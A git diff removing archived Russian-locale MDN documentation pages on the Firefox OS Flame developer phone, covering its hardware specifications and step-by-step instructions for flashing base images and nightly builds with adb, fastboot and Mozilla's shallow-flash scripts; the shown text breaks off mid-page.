<code>brew install ffmpeg</code>.</li> - <li>В Linux (Ubuntu/Debian), используйте команду <code>sudo apt-get install ffmpeg</code>.</li> - </ol> - </li> - <li>Соедините ваш телефон к ПК через USB кабель.</li> - <li>Выберите приложение, которое вы хотите заснять.</li> - <li><code>cd</code> в папку <code>B2G/gaia</code> .</li> - <li><code>make screenshot</code></li> - <li>Теперь у вас есть скриншот названный <code>screenshot.png</code>.</li> -</ol> diff --git a/files/ru/archive/b2g_os/phone_guide/flame/index.html b/files/ru/archive/b2g_os/phone_guide/flame/index.html deleted file mode 100644 index 2df8a12f65..0000000000 --- a/files/ru/archive/b2g_os/phone_guide/flame/index.html +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: Flame -slug: Archive/B2G_OS/Phone_guide/Flame -tags: - - Firefox OS - - Flame - - NeedsTranslation - - TopicStub - - developer phone - - official reference device -translation_of: Archive/B2G_OS/Phone_guide/Flame ---- -<p><img alt="A picture of the Flame device, showing the Firefox OS homescreen containing several app icons." src="https://mdn.mozillademos.org/files/8373/flame-dev-hud.png" style="float: left; margin-bottom: 20px; margin-right: 50px; width: 25%;"></p> - -<p><span class="seoSummary">The Flame device is the official reference device for developing, testing, and debugging Firefox OS and open web apps. This guide provides basic information about its hardware specifications as well as practical documentation specific to experimenting with, developing for, and testing of software compatible with this phone.</span></p> - -<p>The Flame hardware offers a representative set of specs — including FWVGA display and dual-core processor — to help developers build great content and experiences. A stable hardware platform is also good for testers, making it easier to test and address specific software issues without having to worry about device model-specific bugs, etc.</p> - -<p>If you have your phone in hand and want to start playing with it, developing and distributing apps, or contributing to the Firefox platform, the following links will also get you where you need to go:</p> - -<ul> - <li><a href="/en-US/Firefox_OS">Firefox OS zone</a>: For creating your own Firefox OS builds and contributing to the B2G and Gaia projects.</li> - <li><a href="/en-US/Apps">App Center zone</a>: For building open web apps compatible with Firefox OS.</li> - <li><a href="/en-US/Marketplace">Marketplace zone</a>: For information on publishing and distributing apps.</li> - <li><a href="https://marketplace.firefox.com/">Firefox Marketplace</a>: The best place to find and publish new Firefox OS apps.</li> -</ul> - -<p>If you’d like to find out more about updating the operating system, recovering it, pushing apps to it, or phone specs, you’ll find the information you need at the following two articles :</p> - -<ul> - <li><a href="/en-US/Firefox_OS/Developer_phone_guide/Flame/Initial_setup">Initial setup</a>: Essential steps to follow for setting up your computer to work with your Flame.</li> - <li><a href="/en-US/Firefox_OS/Developer_phone_guide/Flame/Updating_your_Flame">Updating your Flame</a>: How to update or upgrade Firefox OS on your Flame, push apps to it, and troubleshoot and test it.</li> -</ul> - -<h2 id="Get_a_device">Get a device</h2> - -<p>Flame sales have come to an end. There are still opportunities left for Mozilla contributors to get free Flames, including the upcoming Foxtrot program. If you have questions about getting a device for development or testing, please reach out to Asa Dotzler on the <a href="irc://irc.mozilla.org/fxos">#fxos</a> channel on IRC.</p> - -<h2 id="Device_specifications">Device specifications</h2> - -<p>You can find more of the device specifications listed on our <a href="/en-US/Firefox_OS/Phone_guide/Phone_specs">Phone and device specs page</a>.</p> - -<h3 id="Network"><strong>Network</strong></h3> - -<ul> - <li>GSM 850/900/1800/1900MHz</li> - <li>UMTS 850/900/1900/2100MHz</li> - <li>Wifi 802.11b/g/n</li> - <li>Bluetooth 3.0</li> -</ul> - -<h3 id="Hardware">Hardware</h3> - -<ul> - <li>Dual-SIM</li> - <li>NFC</li> - <li>Accelerometer</li> - <li>FM radio</li> - <li>Proximity Sensor</li> - <li>GPS W / A-GPS support</li> - <li>Ambient Light Sensor</li> -</ul> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/Firefox_OS/Developer_phone_guide/Flame/Initial_setup">Initial setup</a>: Essential steps to follow for setting up your computer to work with your Flame.</li> - <li><a href="/en-US/Firefox_OS/Developer_phone_guide/Flame/Updating_your_Flame">Updating your Flame</a>: How to update or upgrade Firefox OS on your Flame, push apps to it, and troubleshoot and test it.</li> - <li><a href="https://hacks.mozilla.org/2014/08/videos-getting-started-with-your-flame-device/">Getting started with your Flame</a>: How-to videos by Chris Heilmann.</li> - <li><a href="http://mozilla.github.io/flame-on/">Flame On</a>: Great starting page for all Flame owners created at Mozilla Festival 2014.</li> - <li><a href="https://blog.mozilla.org/press/2014/02/developer-momentum-2/">Original announcement</a>: Press Announcement, February 23, 2014.</li> -</ul> diff --git a/files/ru/archive/b2g_os/phone_guide/flame/updating_your_flam/index.html b/files/ru/archive/b2g_os/phone_guide/flame/updating_your_flam/index.html deleted file mode 100644 index 0ea139aaca..0000000000 --- a/files/ru/archive/b2g_os/phone_guide/flame/updating_your_flam/index.html +++ /dev/null @@ -1,506 +0,0 @@ ---- -title: Updating your Flame -slug: Archive/B2G_OS/Phone_guide/Flame/Updating_your_Flam -translation_of: Archive/B2G_OS/Phone_guide/Flame/Updating_your_Flame ---- -<p> </p> - -<p></p><section class="Quick_links" id="Quick_Links"> - -<ol> - <li class="toggle"> - <details> - <summary>Build and install</summary> - <ol> - <li><strong><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS">Build and install overview</a></strong></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_build_process_summary">B2G OS build process summary</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/B2G_OS_build_prerequisites">Build prerequisites</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Preparing_for_your_first_B2G_build">Preparing for your first build</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Building">Building B2G OS</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_installer_add-on">B2G installer add-on</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Building_for_Flame_on_OS_X">Building B2G OS for Flame on Mac OS X</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Choosing_how_to_run_Gaia_or_B2G">Choosing how to run Gaia or B2G OS</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Compatible_Devices">Compatible Devices</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Installing_on_a_mobile_device">Installing B2G OS on a mobile device</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_update_packages">Creating and applying B2G OS update packages</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Building/FOTA_community_builds">Building and installing FOTA community builds</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_Build_Variables_Reference_Sheet">B2G build variables reference sheet</a></li> - </ol> - </details> - </li> - <li class="toggle"> - <details> - <summary>Porting B2G OS</summary> - <ol> - <li><strong><a href="/ru/docs/Mozilla/B2G_OS/Porting_B2G_OS">Porting overview</a></strong></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Porting_B2G_OS/basics">Porting basics</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Porting_B2G_OS/Porting_on_CyanogenMod">Porting on CyanogenMod</a></li> - </ol> - </details> - </li> - <li class="toggle"> - <details> - <summary>Developing Gaia</summary> - <ol> - <li><strong><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia">Developing Gaia overview</a></strong></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Running_the_Gaia_codebase">Running the Gaia codebase</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Mulet">Run Gaia on desktop using Mulet</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Understanding_the_Gaia_codebase">Understanding the Gaia codebase</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Making_Gaia_code_changes">Making Gaia code changes</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Testing_Gaia_code_changes">Testing Gaia code changes</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Submitting_a_Gaia_patch">Submitting a Gaia patch</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Build_System_Primer">Gaia build system primer</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Different_ways_to_run_Gaia">Different ways to run Gaia</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/make_options_reference">Make options reference</a></li> - <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Gaia_tools_reference">Gaia tools reference</a></li> - </ol> - </details> - </li> - <li><a href="/ru/docs/Mozilla/B2G_OS/API">B2G OS APIs</a></li> -</ol> -</section><p></p> - -<div class="summary"> -<p>This article covers how to update the software on your Flame — including updating Firefox OS and pushing new apps to your phone — along with backing up your data, and other useful troubleshooting and testing information. Before starting to do any of this, you should make sure you have run through the <a href="/en-US/Firefox_OS/Developer_phone_guide/Flame/Initial_setup">Initial setup</a> information.</p> -</div> - -<h2 id="Quick_guide_to_updating_your_device">Quick guide to updating your device</h2> - -<p>There is a lot of information in this article, so here we've included a quick start guide that takes you through the steps you need quickly to get your device updated. You can refer to the below sections for more detail if it is needed.</p> - -<h3 id="Full_flash_to_the_latest_base_image">Full flash to the latest base image</h3> - -<p>This set of steps needs to be done before you do anything else to your phone (see <a href="#Base_image">Base image</a> and <a href="#Base_image_installation">Base image installation</a> if you require more details.)</p> - -<div id="magicdomid12"><span class="author-p-18262"><strong>Prerequisites</strong>: Make sure you have adb and fastboot installed and available in your system's <code>PATH</code> (see <a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Installing_ADB">Installing ADB and Fastboot</a>.)</span><br> - </div> - -<ol> - <li id="magicdomid14"><span class="author-p-18262">Download the latest base image —</span><a href="http://cds.w5v8t3u9.hwcdn.net/v18D_nightly_v5/v18D_nightly_v5.zip">Base image v18D_nightly_v5</a> — <span class="author-p-18262">to your computer.</span></li> - <li id="magicdomid18"><span class="author-p-18262">On your Flame device, enable remote debugging by navigating to <em>Settings > Developer</em> and enabling the </span><a href="https://developer.mozilla.org/en-US/Firefox_OS/Debugging/Developer_settings#Debugging_via_USB">Debugging via USB</a><span class="author-p-18262"> option.</span></li> - <li id="magicdomid20"><span class="author-p-18262">Connect your Flame to your computer via a USB cable.</span></li> - <li id="magicdomid22"><span class="author-p-18262">Verify that the computer is connected to the device by typing this command:</span> - <pre class="brush: bash"><span class="author-p-18262 i">adb devices</span><span class="author-p-18262"> </span><span class="author-p-18262"> </span> -</pre> - You should see something like the following: - - <pre class="brush: bash">List of devices attached -94f7ce4c device</pre> - If you don't see your device attached (no second line), then try unplugging and replugging the USB cable and trying again; also check that <em>Debugging via USB</em> is enabled on the phone as mentioned in step 2. If you get a message saying that adb could not be found, you probably haven't set your path correctly (see prerequisites.)</li> - <li id="magicdomid28"><span class="author-p-18262">Extract the base image zip file and navigate to the new directory, using for example:</span> - <pre class="brush: bash" id="magicdomid31"><span class="author-p-18262 i"><em>cd </em></span><span class="author-p-18262 i url">v18D_nightly_v5</span></pre> - </li> - <li id="magicdomid33"><span class="author-p-18262">Run the flashing script by running the correct below command for your system</span> - <pre class="brush: bash"><span class="author-p-18262"># Windows</span> -<span class="author-p-18262 i"><em>flash.bat</em></span> - -<span class="author-p-18262"># Linux / OSX</span> -<span class="author-p-18262 i"><em>./flash.sh</em></span></pre> - </li> -</ol> - -<div class="note"> -<p><span class="author-p-18262"><strong>Note</strong>: if you don't see the right filename for your system, you can rename flash.bat or flash.sh back and forth as needed. The contents are the same.</span></p> -</div> - -<div class="note"> -<p>Note: Verify the contents of the base image using the checksum below:</p> - -<pre>Checksum: <strong>SHA512(v18D_nightly_v5.zip)= f92123446f71289dd0ea23b0c602f8a192267fbfcf2f25682cbc072f8bbe3e8b795aea3305ba6ea6cc504d252f1d895b07704b5b65700fcf3760e1386b89c431</strong><strong> -</strong>Build id<strong>: 20151221215202</strong> -</pre> -</div> - -<p>At this point you should be on the latest 2.6 base image, and be able to receive FOTA updates.</p> - -<div class="note"> -<p><span class="author-p-18262"><strong>Note</strong>: if you want to be on the very latest builds of flame (that have not been smoke tested), go to settings -> developer, scroll down to the bottom, and change the channel to nightly-latest. Reboot the device, then go back to settings -> device info and check for updates. You can update to the latest version without having to shallow flash. For shallow flashing see the next section.</span></p> -</div> - -<h4 id="Update_channel_reset_bug">Update channel reset bug</h4> - -<p>As mentioned in <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1217490" title="FIXED: [Aries] The dogfood/dogfood-latest channel are reset to nightly after latest OTA">баг 1217490</a>, some Firefox OS testers testing Firefox OS 2.5 or the latest FOTA updates (on Flame, but also on other dogfooding devices) may find that when they install a FOTA update, their update channel is reset to <code>nightly</code>, meaning that they won’t receive subsequent FOTA updates coming through other channels. To avoid this, it is recommended that you set your update channel to <code>nightly-latest</code> in the Firefox OS settings via WebIDE. To do this:</p> - -<ol> - <li>Plug your phone into your computer via USB (make sure <em>Debugging via USB</em> is set to <em>ADB and DevTools</em> in the Phone's <a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Developer_settings">Developer Settings</a>.)</li> - <li>Go to Firefox Desktop and open <a href="/en-US/docs/Tools/WebIDE">WebIDE</a>.</li> - <li>Connect WebIDE to your phone by selecting it under <em>USB Devices</em>. Accept the connection prompt that appears on your phone.</li> - <li>Under <em>Other</em> on the right hand side of the WebIDE UI, select <em>Device Settings</em>.</li> - <li>Find <code>app.update.channel</code> in the list, and change the setting value in the corresponding textbox to <code>nightly-latest</code>.</li> - <li>Find <code>app.update.channel.backup</code> and change the setting value to <code>nightly-latest</code> if you want it to persist after further updates.</li> -</ol> - -<h3 id="Shallow_Flash_to_the_latest_Firefox_OS_nightly_(Gaia_and_Gecko)">Shallow Flash to the latest Firefox OS nightly (Gaia and Gecko)</h3> - -<p>This set of steps only needs to be done if you want to update to the VERY latest builds (see <a href="#Updating_your_Flame_to_a_nightly_build">Updating your Flame to a nightly build</a> if you require more details.)</p> - -<div id="magicdomid50"><span class="author-p-18262"><strong>Prerequisites</strong>: Windows users will need to install <a href="https://cygwin.com/">Cygwin</a>, which provides a Linux-like environment on Windows.</span><span class="author-p-18262"> The instructions below include steps for how to automatically install the appropriate packages if you don't already have it installed.</span></div> - -<div id="magicdomid51"> </div> - -<ol> - <li id="magicdomid52"><span class="author-p-18262">Download the latest build from </span><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-central-flame-kk/">Mozilla Central</a><span class="author-p-18262">. Download both the b2g-XX.XX.en-US.android-arm.tar.gz and gaia.zip files.</span></li> - <li id="magicdomid54"><span class="author-p-18262 b"><strong>All platforms:</strong></span><span class="author-p-18262"> Download the <a href="https://raw.githubusercontent.com/Mozilla-TWQA/B2G-flash-tool/master/shallow_flash.sh">shallow flash script</a> in the same directory as the build files.</span></li> - <li id="magicdomid58"><span class="author-p-18262 b"><strong>Windows users:</strong></span><span class="author-p-18262"> Also download the <a href="https://raw.githubusercontent.com/Mozilla-TWQA/B2G-flash-tool/master/shallow_flash.bat">shallow_flash.bat Windows</a> script in the same directory.</span><span class="author-p-18262"> If you don't already have Cygwin installed, also <a href="https://cygwin.com/setup-x86.exe">download the installation file</a> (you don't have to run it, the <code>shallow_flash.bat</code> script will use the installer to automatically configure the necessary packages).</span></li> - <li id="magicdomid60"><span class="author-p-18262">In your terminal, <code>cd</code> into the directory you saved the files in and flash the builds to your phone using the following:</span> - <pre class="brush: bash"><span class="author-p-18262 b"># Linux</span> -<span class="author-p-18262">./shallow_flash.sh --gaia=gaia.zip --gecko=b2g-XX.XX.en-US.android-arm.tar.gz</span> - -<span class="author-p-18262 b"># Mac</span> -<span class="author-p-18262">./shallow_flash.sh --gaia gaia.zip --gecko b2g-XX.XX.en-US.android-arm.tar.gz</span> - -<span class="author-p-18262 b"># Windows</span> -<span class="author-p-18262"># You could also double click the shallow_flash.bat icon (with the cogs) from Windows Explorer. -shallow_flash.bat</span></pre> - </li> -</ol> - -<p>This process will flash gaia.zip and a single b2g-XX.XX.en-US.android-arm.tar.gz file onto your phone. T<span class="author-p-18262">he files will be sent to the device and it will reboot after the process completes.</span></p> - -<div class="note"> -<p><span class="author-p-18262"><strong>Note</strong> : On Linux, if the script fails during </span>flashing Gaia, you can try replacing full options by their shortened version to see if that helps. Replace <span class="author-p-18262"><code>--gaia=gaia.zip</code> by <code>-g gaia.zip</code></span> and <span class="author-p-18262"><code>--gecko=b2g-XX.XX.en-US.android-arm.tar.gz</code> by <code>-G b2g-XX.XX.en-US.android-arm.tar.gz</code></span>.</p> -</div> - -<h2 id="Updating_upgrading_the_Flame's_software">Updating & upgrading the Flame's software</h2> - -<p>We have two main "channels" of Firefox OS software version releases for the Flame phone:</p> - -<ul> - <li>The first channel is our release channel. Flames ship with this channel and will receive over-the-air updates for future major versions, that is, Flames will update from 1.3 to 2.0 to 2.1, etc.</li> - <li>The second channel is our nightly channel. Flames can be flashed to this channel, and after the initial flashing will get over the air updates on a daily or nearly daily basis. </li> -</ul> - -<h3 id="Base_Image"><a name="Base Image">Base Image</a></h3> - -<p>You can get recovery files and tools at the following storage locations:</p> - -<h4 id="Up-to-date_(use_these_unless_you_have_a_good_reason_not_to)">Up-to-date (use these unless you have a good reason not to)</h4> - -<ul> - <li>Production: - <ul> - <li>Stable: <a href="http://cds.w5v8t3u9.hwcdn.net/v18D.zip">Base image v18D.zip</a>: The very latest stable archive, containing a Flame base production image of Firefox OS 2.0.</li> - <li>Nightly: <a href="http://cds.w5v8t3u9.hwcdn.net/v18D_nightly_v5/v18D_nightly_v5.zip">Base image v18D_nightly_v5</a>: The very latest version of the Flame base production image of Firefox OS 2.6. - <pre>Checksum: <strong>SHA512(v18D_nightly_v5.zip)= f92123446f71289dd0ea23b0c602f8a192267fbfcf2f25682cbc072f8bbe3e8b795aea3305ba6ea6cc504d252f1d895b07704b5b65700fcf3760e1386b89c431</strong><strong> -</strong>Build id<strong>: 20151221215202</strong> -</pre> - </li> - <li>Sideload: image <a href="http://cds.w5v8t3u9.hwcdn.net/v18D_nightly_v5/update.zip">v18D_nightly_v5 update.zip</a>: The sideload file for updating your phone manually. See the <a href="#sideload">sideload</a> section for instructions on how to update your phone to this build without losing data. - <pre>Checksum: <strong>SHA512(update.zip)= 4c174f901a242a96729aa45d8551200ef4566913473f88f935c264689031a483e46d21856f0919c4dff467277d2f9c90cf0879107a6671d7b84c5d05405f4b6d</strong><strong> -</strong>Build id<strong>: 20151221215202</strong> -</pre> - </li> - <li>Nightly: <a href="http://cds.w5v8t3u9.hwcdn.net/v18D_nightly_v4.zip">Base image v18D_nightly_v4</a>: contains a Flame base production image of Firefox OS 2.5. This is the same as the previous one but with the updated system partition size (see <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1184980" title="FIXED: System partition size should be updated">баг 1184980</a>.) Before updating your phone to a Nightly build you should flash the latest base image to make sure the underlying systems are up to date. - <pre>Checksum: <strong>SHA512(v18D_nightly_v4.zip)= 9105e29fd39da1ae487b01da4431a803d619d31482147b4383002b8a10268905fd444b108a438395a78d289cfe4e8fba10c3fb6b0d187f3535f027bf90c2391a -</strong>Build id<strong>: 20150527010201</strong> -</pre> - </li> - <li>Nightly: <a href="http://cds.w5v8t3u9.hwcdn.net/v18D_nightly_v3.zip">Base image v18D_nightly_v3</a>: Contains a Flame base production image of Firefox OS 2.5 that includes security, font, NFC, camera, and other fixes (see <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1154072" title="FIXED: respin of contributor facing build : 18D_nightly ( v3)">баг 1154072</a> for more details.) - <pre>Checksum: <strong>SHA512(v18D_nightly_v3.zip)= 98ec1d24604eaed4a22e7d1439501544622788b30f8f2993409bfc2244a4886863d33238aa78ccb7cd5f9f71464058b81920cc0ba85806a1dbf0220d08a8444b</strong></pre> - </li> - </ul> - </li> - <li>Engineering: There is no engineering Base image. Use a production base image and <a href="#Updating_to_nightly_build">flash it to an engineering nightly build</a>.</li> -</ul> - -<div class="note"> -<p><strong>Note</strong>: You can find out what base image your device is running using the command <code>adb shell getprop ro.bootloader</code>. The version is the last four characters, with the last one then removed, prefixed by 'v' (e.g. L1TC000118D0 > v18D).</p> -</div> - -<div class="warning"> -<p><strong>Important</strong>: When running a shallow or full flash, your phone data will be overwritten: you should therefore back up your data before updating! See the <a href="#Backing_up_and_restoring_your_Flame_data">Backing up and restoring your Flame data</a> section for more details.</p> -</div> - -<h4 id="Outdated">Outdated</h4> - -<p>These base images are stable & production only.</p> - -<ul> - <li><a href="http://cds.w5v8t3u9.hwcdn.net/v188.zip">Base image v188.zip</a>: An updated archive containing a Flame base image of Firefox OS 2.0 with bug fixes from the previous image.</li> - <li><a href="http://cds.w5v8t3u9.hwcdn.net/Flame_2.0_v180_1.zip">Base image v180.zip</a>: An older archive containing a Flame base image of Firefox OS 2.0.</li> - <li><a href="http://cds.w5v8t3u9.hwcdn.net/v123.zip">Base image v123.zip</a>: A discontinued image of Firefox OS 1.3 based on Android Jellybean; you shouldn't use this anymore.</li> -</ul> - -<div class="note"> -<p><strong>Note</strong>: Using a locale with base image v188 produces a mixed UI with locale and English languages.</p> -</div> - -<div class="note"> -<p><strong>Note</strong>: Firefox OS images v180 and above are based on Android KK (Kitkat, 4.4); JB (Jellybean, 4.1–4.3) builds have now been discontinued and are no longer supported, so don't use anything older than v180.</p> -</div> - -<h3 id="Base_Image_installation">Base Image installation</h3> - -<p>To install the base image on your device:</p> - -<ol> - <li>Make sure remote debugging is enabled on your Flame, using the <em>Remote debugging/Debugging via USB</em> option in the device's <a href="/en-US/Firefox_OS/Debugging/Developer_settings#Debugging_via_USB">Developer settings</a> (the option is different, depending on whether you have Firefox 1.3 and under, or Firefox 1.4+ installed).</li> - <li>Connect your Flame to your computer via a USB cable if it isn't already. Verify that the computer is connected to the device by running the <code>adb devices</code> command in a terminal.</li> - <li>Download the base image <code>.zip</code> file referenced above. Unzip it onto your Desktop.</li> - <li>Go into the directory you extracted the software into and run it: - <ul> - <li>On Windows, enter the directory in your command prompt, then run the <code>flash.bat</code> script using <code>flash.bat</code> (or double click the file in explorer).<br> - <strong>Note</strong>: If <code>flash.bat </code>is missing, simply rename the <code>flash.sh</code> file to <code>flash.bat</code>, then run that. Make sure you have <code>adb</code> and <code>fastboot</code> installed and available on <code>PATH</code>.</li> - <li>On Linux / OSX, enter the directory in your terminal, then run the <code>flash.sh</code> script using <code>./flash.sh</code> (previous instructions encouraged you to use sudo. Don't. It is <strong>really dangerous</strong> to use sudo with things you download from the Internet. If the flash script fails to see your device, please double-check that your <a href="/en-US/Firefox_OS/Firefox_OS_build_prerequisites#For_Linux.3A_configure_the_udev_rule_for_your_phone">udev rules</a> are correct). If you do not see a <code>flash.sh</code> file, simply rename <code>flash.bat</code> to <code>flash.sh</code> first and then use the above command.</li> - </ul> - </li> -</ol> - -<div class="note"> -<p><strong>Note</strong>: If you get a "permission denied" error when running the above commands, your shell script probably doesn't have the right permissions. Running <code>chmod +x flash.sh</code> on it should solve this problem.</p> -</div> - -<div class="note"> -<p><strong>Note</strong>: If the flash script gets stuck at "< waiting for device >" while the display shows "ThunderSoft(R)", the script doesn't have permission to access the device while in fastboot mode. You need to setup the <a href="/en-US/Firefox_OS/Firefox_OS_build_prerequisites#For_Linux.3A_configure_the_udev_rule_for_your_phone">udev rules</a> to give it access. Also USB 3 ports may not work well with fastboot and can be the cause of this problem.</p> -</div> - -<div class="note"> -<p><strong>Note</strong>: You are also welcome to build your own builds to install on the Flame: see <a href="/en-US/Firefox_OS/Building_and_installing_Firefox_OS">Building and installing Firefox OS</a>.</p> -</div> - -<h4 id="Font_fix">Font fix</h4> - -<div class="warning"> -<p><strong>Important</strong>: This step is only needed for base image v180.</p> -</div> - -<p>After updating Gecko and Gaia to nightly with the v180 base image, there will be a mismatch between the fonts that Gecko and Gaia expects and what the base image provides (this has been fixed as of v188). To fix this, you have two choices:</p> - -<ul> - <li>download our <a href="https://people.mozilla.org/~mwu/fira-font-update.zip">font update package</a>, extract it, navigate into the directory created by extracting, and run the supplied <code>flash.sh</code> script.</li> - <li>use the <a href="https://github.com/Mozilla-TWQA/B2G-flash-tool/blob/master/update_system_fonts.sh"><code>update_system_fonts.sh</code></a> script, which will download and flash the system fonts automatically.</li> -</ul> - -<h3 id="Updating_your_Flame_to_a_nightly_build"><a id="Updating_to_nightly_build" name="Updating_to_nightly_build">Updating your Flame to a nightly build</a></h3> - -<div class="note"> -<p><strong>Note</strong>: For the current build, Nightly development builds of Firefox OS do not support A-GPS, which may lead to slow performance of GPS functionality. We plan to resolve this in an updated future Nightly channel.</p> -</div> - -<div class="warning"> -<p><strong>Important</strong>: When running a shallow or full flash, your phone data will be overwritten: you should therefore back up your data before updating! See the <a href="#Backing_up_and_restoring_your_Flame_data">Backing up and restoring your Flame data</a> section for more details.</p> -</div> - -<ol> - <li>Before updating your phone to a Nightly build you should flash the latest base image to make sure the underlying systems are up to date. Download a <a href="#Base Image">base image</a> <u>with the same or a higher version of Firefox OS than the version you intend to use in step 3 below</u> and use it to update your device's software, as explained above.</li> - <li>Because the above step installs a fresh operating system on your device, you'll need to enable remote debugging on your Flame again, using the <em>Remote debugging </em>option in the device's <a href="/en-US/Firefox_OS/Debugging/Developer_settings">Developer settings</a>.</li> - <li>Next, choose a build to install (found on <a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/">https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/</a>). You'll want one of the following: - <ul style="margin-left: 40px;"> - <li>Production builds (including locales) - <ul> - <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-central-flame-kk/">Latest master builds</a> (currently 2.6)</li> - <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-b2g44_v2_5-flame-kk/">Latest v2.5 builds</a></li> - <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-b2g37_v2_2-flame-kk/">2.2 build</a></li> - <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/2015/07/2015-07-24-00-12-07-mozilla-b2g34_v2_1-flame-kk/">2.1 build</a></li> - <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/2015/07/2015-07-23-00-02-07-mozilla-b2g32_v2_0-flame-kk/">2.0 build</a></li> - </ul> - </li> - <li>Engineering builds (with test apps and only pseudo-locales) - <ul> - <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-central-flame-kk-eng/">Latest master builds</a> (currently 2.6)</li> - <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-b2g44_v2_5-flame-kk-eng/">Latest v2.5 builds</a></li> - <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-b2g37_v2_2-flame-kk-eng/">2.2 build</a></li> - <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/2015/07/2015-07-24-00-12-07-mozilla-b2g34_v2_1-flame-kk-eng/">2.1 build</a></li> - <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/2015/07/2015-07-22-16-02-01-mozilla-b2g32_v2_0-flame-kk-eng/">2.0 build</a></li> - </ul> - </li> - </ul> - </li> - <li>Pick a version and download both the <code>b2g-XX.XX.en-US.android-arm.tar.gz</code> and <code>gaia.zip</code> files. Save them inside a directory on your Desktop called something like <code>fxos</code>.</li> - <li>Download the <a href="https://raw.githubusercontent.com/Mozilla-TWQA/B2G-flash-tool/master/shallow_flash.sh">shallow flash script</a> and save it in the same directory as the above two files.</li> - <li><strong>For Windows users:</strong> Also download the <a href="https://raw.githubusercontent.com/Mozilla-TWQA/B2G-flash-tool/master/shallow_flash.bat">shallow_flash.bat</a> windows script and install <a href="https://cygwin.com">Cygwin</a>, which provides a Linux-like command environment on Windows. You will need to install the default Cygwin <em>base</em> category plus the <em>unzip</em> package but shallow_flash.bat will do this for you if you download and copy the Cygwin setup*.exe to the same folder as the script.</li> - <li> - <p>In your Terminal, <code>cd</code> into the directory you saved the files in and Flash the builds to your phone using the following:</p> - - <p><strong>Linux</strong>:</p> - - <pre class="brush: bash">./shallow_flash.sh --gaia=gaia.zip --gecko=b2g-XX.XX.en-US.android-arm.tar.gz -</pre> - - <p><strong>Mac</strong>:</p> - - <pre class="brush: bash">./shallow_flash.sh --gaia gaia.zip --gecko b2g-XX.XX.en-US.android-arm.tar.gz</pre> - - <p><strong>Windows</strong>:</p> - - <p>Double click <code>shallow_flash.bat</code> (with the cogs icon) or run it from a command shell. It will flash <code>gaia.zip</code> and a single <code>b2g-XX.XX.en-US.android-arm.tar.gz</code> file.</p> - </li> -</ol> - -<div class="note"> -<p><strong>Note</strong>: If your update fails with an error "Flashing out/target/product/flame/system.img failed because the image was too large.", you will need to update to the newest <a href="#Base_Image">base image</a>, then try applying the nightly build again. This is because the system partition size has been updated (see <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1184980" title="FIXED: System partition size should be updated">баг 1184980</a>.)</p> -</div> - -<div class="note"> -<p><strong>Note</strong>: If you get a "permission denied" error when running the above commands, your shell script probably doesn't have the right permissions. Running <code>chmod +x shallow_flash.sh</code> on it should solve this problem.</p> -</div> - -<div class="note"> -<p><strong>Note</strong>: A "shallow flash" updates <a href="/en-US/docs/Mozilla/Gecko">Gecko</a> and <a href="/en-US/Firefox_OS/Platform/Gaia">Gaia</a> plus data directories, as opposed to a full flash, which updates Gecko/Gaia, but also the underlying <a href="/en-US/Firefox_OS/Platform/Gonk">Gonk</a> layer and associated binaries particular to that device type. This is why it is a good idea to update to the official <a href="#Base Image">base image</a> first, as suggested above, then shallow flash over the top of that, once you've got the Gonk/binary layer right.</p> -</div> - -<div class="note"> 